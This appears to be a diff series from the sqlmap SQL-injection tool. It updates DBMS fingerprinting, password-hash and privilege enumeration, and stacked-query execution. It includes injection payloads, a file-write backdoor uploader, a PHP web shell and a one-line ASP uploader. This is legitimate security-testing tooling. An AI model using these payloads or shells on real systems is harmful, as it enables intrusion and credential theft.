@@ -230,15 +249,18 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logger.info(logMsg)
randInt = str(randomInt(1))
query = "CONCAT('%s', '%s')" % (randInt, randInt)
if inject.getValue(query) == (randInt * 2):
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming MySQL"
logger.info(logMsg)
query = "LENGTH('%s')" % randInt
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if not inject.getValue(query) == "1":
if result != True:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
@@ -249,6 +271,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL 5")
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"]
return True
@@ -261,31 +285,19 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
# Or if it MySQL >= 5.1.2 and < 6.0.3
elif inject.getValue("MID(@@plugin_dir, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"]
elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 6.0.3"]
elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = ["= 5.1.6"]
elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
else:
kb.dbmsVersion = ["= 5.1.2"]
kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
# NOTE: MySQL 5.0.12 introduced SLEEP() function
# References:
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
@@ -298,6 +310,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"]
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -324,9 +338,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
else:
kb.dbmsVersion = ["< 3.22.11"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
@@ -421,7 +432,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(query)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
@@ -434,7 +445,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, direct=True)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
@@ -506,7 +517,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
break
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
page = Request.getPage(url=cmdUrl, direct=True)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
@@ -37,7 +39,7 @@ from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -116,28 +118,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
if not conf.extensiveFp:
return "Oracle"
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
actVer = formatFingerprint()
blank = " " * 16
value = "active fingerprint: %s" % actVer
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if banVer:
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
value += "back-end DBMS: "
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
if not conf.extensiveFp:
value += "Oracle"
return value
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -146,23 +157,25 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
logMsg = "testing Oracle"
logger.info(logMsg)
query = "LENGTH(SYSDATE)"
sysdate = inject.getValue(query)
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
result = Request.queryPage(payload)
if sysdate and int(sysdate) > 0:
if result == True:
logMsg = "confirming Oracle"
logger.info(logMsg)
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload)
if not version:
if result != True:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
@@ -170,20 +183,22 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
if re.search("^11\.", version):
kb.dbmsVersion = ["11i"]
elif re.search("^10\.", version):
kb.dbmsVersion = ["10g"]
elif re.search("^9\.", version):
kb.dbmsVersion = ["9i"]
elif re.search("^8\.", version):
kb.dbmsVersion = ["8i"]
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
if conf.getBanner:
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
if re.search("^11", version):
kb.dbmsVersion = ["11i"]
elif re.search("^10", version):
kb.dbmsVersion = ["10g"]
elif re.search("^9", version):
kb.dbmsVersion = ["9i"]
elif re.search("^8", version):
kb.dbmsVersion = ["8i"]
return True
else:

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
@@ -38,7 +40,7 @@ from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -116,26 +118,37 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
if not conf.extensiveFp:
return "PostgreSQL"
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
actVer = formatFingerprint()
blank = " " * 16
value = "active fingerprint: %s" % actVer
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "PostgreSQL"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -148,6 +161,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -155,15 +170,18 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logger.info(logMsg)
randInt = str(randomInt(1))
query = "COALESCE(%s, NULL)" % randInt
if inject.getValue(query) == randInt:
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result == True:
logMsg = "confirming PostgreSQL"
logger.info(logMsg)
query = "LENGTH('%s')" % randInt
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if not inject.getValue(query) == "1":
if result != True:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
@@ -171,6 +189,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -206,9 +226,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
else:
kb.dbmsVersion = ["< 6.2.0"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True
else:
warnMsg = "the back-end DMBS is not PostgreSQL"

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -39,10 +39,13 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
class Enumeration:
@@ -72,9 +75,16 @@ class Enumeration:
pass
def getPrematureBanner(self, query):
if conf.getBanner:
self.banner = inject.getValue(query)
bannerParser(self.banner)
def getBanner(self):
logMsg = "fetching banner"
logger.info(logMsg)
infoMsg = "fetching banner"
logger.info(infoMsg)
query = queries[kb.dbms].banner
@@ -85,8 +95,8 @@ class Enumeration:
def getCurrentUser(self):
logMsg = "fetching current user"
logger.info(logMsg)
infoMsg = "fetching current user"
logger.info(infoMsg)
query = queries[kb.dbms].currentUser
@@ -97,8 +107,8 @@ class Enumeration:
def getCurrentDb(self):
logMsg = "fetching current database"
logger.info(logMsg)
infoMsg = "fetching current database"
logger.info(infoMsg)
query = queries[kb.dbms].currentDb
@@ -108,9 +118,20 @@ class Enumeration:
return self.currentDb
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
self.isDba = inject.getValue(query)
return str(self.isDba == "1")
def getUsers(self):
logMsg = "fetching database users"
logger.info(logMsg)
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].users
@@ -128,8 +149,8 @@ class Enumeration:
self.cachedUsers = value
if not self.cachedUsers:
logMsg = "fetching number of database users"
logger.info(logMsg)
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery["blind"]["count2"]
@@ -161,11 +182,16 @@ class Enumeration:
def getPasswordHashes(self):
logMsg = "fetching database users password hashes"
logger.info(logMsg)
infoMsg = "fetching database users password hashes"
rootQuery = queries[kb.dbms].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.unionUse:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"]
@@ -180,6 +206,12 @@ class Enumeration:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
query += " WHERE %s = '%s'" % (condition, conf.user)
value = inject.getValue(query, blind=False)
@@ -212,7 +244,7 @@ class Enumeration:
for user in users:
if kb.dbms == "MySQL":
parsedUser = re.search("\047(.*?)\047@'", user)
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
user = parsedUser.groups()[0]
@@ -220,9 +252,9 @@ class Enumeration:
if user in retrievedUsers:
continue
logMsg = "fetching number of password hashes "
logMsg += "for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user
@@ -236,8 +268,8 @@ class Enumeration:
logger.warn(warnMsg)
continue
logMsg = "fetching password hashes for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
indexRange = getRange(count)
@@ -292,11 +324,16 @@ class Enumeration:
def getPrivileges(self):
logMsg = "fetching database users privileges"
logger.info(logMsg)
infoMsg = "fetching database users privileges"
rootQuery = queries[kb.dbms].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
# Set containing the list of DBMS administrators
areAdmins = set()
@@ -355,6 +392,12 @@ class Enumeration:
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
@@ -418,6 +461,11 @@ class Enumeration:
for user in conf.user.split(","):
users.add("%" + user + "%")
else:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ]
elif "," in conf.user:
@@ -443,9 +491,9 @@ class Enumeration:
if user in retrievedUsers:
continue
logMsg = "fetching number of privileges "
logMsg += "for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if unescapedUser:
queryUser = unescapedUser
@@ -466,8 +514,8 @@ class Enumeration:
logger.warn(warnMsg)
continue
logMsg = "fetching privileges for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
privileges = set()
indexRange = getRange(count)
@@ -549,8 +597,8 @@ class Enumeration:
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
logMsg = "fetching database names"
logger.info(logMsg)
infoMsg = "fetching database names"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs
@@ -565,8 +613,8 @@ class Enumeration:
self.cachedDbs = value
if not self.cachedDbs:
logMsg = "fetching number of databases"
logger.info(logMsg)
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"]
@@ -605,10 +653,10 @@ class Enumeration:
self.forceDbmsEnum()
logMsg = "fetching tables"
infoMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
@@ -626,8 +674,8 @@ class Enumeration:
elif conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(logMsg)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
value = inject.getValue(query, blind=False)
@@ -652,14 +700,14 @@ class Enumeration:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int")
@@ -708,20 +756,20 @@ class Enumeration:
self.forceDbmsEnum()
if not conf.db:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
logMsg = "fetching columns "
logMsg += "for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
conf.db = self.getCurrentDb()
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns
if kb.dbms == "Oracle":
conf.db = conf.db.upper()
conf.tbl = conf.tbl.upper()
if conf.unionUse:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
@@ -744,10 +792,10 @@ class Enumeration:
self.cachedColumns[conf.db] = table
if not self.cachedColumns:
logMsg = "fetching number of columns "
logMsg += "for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
@@ -764,9 +812,14 @@ class Enumeration:
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
table = {}
columns = {}
indexRange = getRange(count)
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
@@ -818,12 +871,17 @@ class Enumeration:
self.forceDbmsEnum()
if not conf.db:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].dumpTable
if conf.col:
colList = conf.col.split(",")
self.cachedColumns[conf.db] = {}
self.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
@@ -840,14 +898,12 @@ class Enumeration:
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
logMsg = "fetching"
infoMsg = "fetching"
if conf.col:
colList = conf.col.split(",")
colString = ", ".join(column for column in colList)
logMsg += " columns '%s'" % colString
logMsg += " entries for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if conf.unionUse:
if kb.dbms == "Oracle":
@@ -883,23 +939,12 @@ class Enumeration:
index += 1
if not self.dumpedTable:
if conf.unionUse:
warnMsg = "unable to retrieve the "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
warnMsg += " through UNION query SQL injection, "
warnMsg += "probably because it has no entries, going "
warnMsg += "blind to confirm"
logger.warn(warnMsg)
logMsg = "fetching number of "
infoMsg = "fetching number of "
if conf.col:
logMsg += "columns '%s' " % colString
logMsg += "entries for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
@@ -1012,27 +1057,56 @@ class Enumeration:
def sqlQuery(self, query):
logMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(logMsg)
output = None
selectQuery = True
sqlType = None
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
if " from " in query:
query = query.replace(" from ", " FROM ")
if sqlTitle != "SQL SELECT statement":
selectQuery = False
output = inject.getValue(query, fromUser=True)
break
if output == "Quit":
return None
if selectQuery == True:
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
else:
return output
if kb.stackedTest == None:
stackedTest()
if kb.stackedTest == False:
warnMsg = "the web application does not support "
warnMsg += "stacked queries"
logger.warn(warnMsg)
return None
else:
if sqlType:
infoMsg = "executing %s query: '%s'" % (sqlType, query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
def sqlShell(self):
logMsg = "calling %s shell. To quit type " % kb.dbms
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(sqlShell=True)
@@ -1061,5 +1135,9 @@ class Enumeration:
if output and output != "Quit":
dumper.string(query, output)
elif output == False:
pass
elif output != "Quit":
print "No output"

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -69,10 +69,7 @@ if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
echo "<div style=\"text-align: center\">";
echo "<a href=\"http://validator.w3.org/check/referer\"><img src=\"http://www.w3.org/Icons/valid-html401\" border=\"0\" alt=\"Valid HTML 4.01!\"></a>";
echo "<a href=\"http://jigsaw.w3.org/css-validator/validator?text=" . $cssEncoded . "\"><img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" border=\"0\" alt=\"Valid CSS!\"></a>";
echo "</div></div><div id=\"rightbody\">";
echo "</div><div id=\"rightbody\">";
}
if (isset($_REQUEST["sysinfo"])) {

1
shell/uploader.asp Normal file
View File

@@ -0,0 +1 @@
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>

View File

@@ -1,9 +1,15 @@
[Request]
[Target]
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
url =
# Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
# 'conversations/' folder path
list =
# Rather than providing a target url, let Google return target
# hosts as result of your Google dork expression. For a list of Google
# dorks see Johnny Long Google Hacking Database at
@@ -11,9 +17,8 @@ url =
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
googleDork =
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
# parameters and HTTP User-Agent are tested by sqlmap.
testParameter =
[Request]
# HTTP method to perform HTTP requests.
# Valid: GET or POST
@@ -34,12 +39,18 @@ referer =
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
# at each HTTP request
# sqlmap will also test for SQL injection on the HTTP User-Agent value.
agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
agent =
# Load a random HTTP User-Agent header from file
# Example: txt/user-agents.txt
# Example: ./txt/user-agents.txt
userAgentsFile =
# Extra HTTP headers
# Note: there must be a space at the beginning of each header line
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# HTTP Authentication type. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data.
# Valid: Basic or Digest
@@ -56,25 +67,92 @@ proxy =
# Maximum number of concurrent HTTP requests (handled with Python threads)
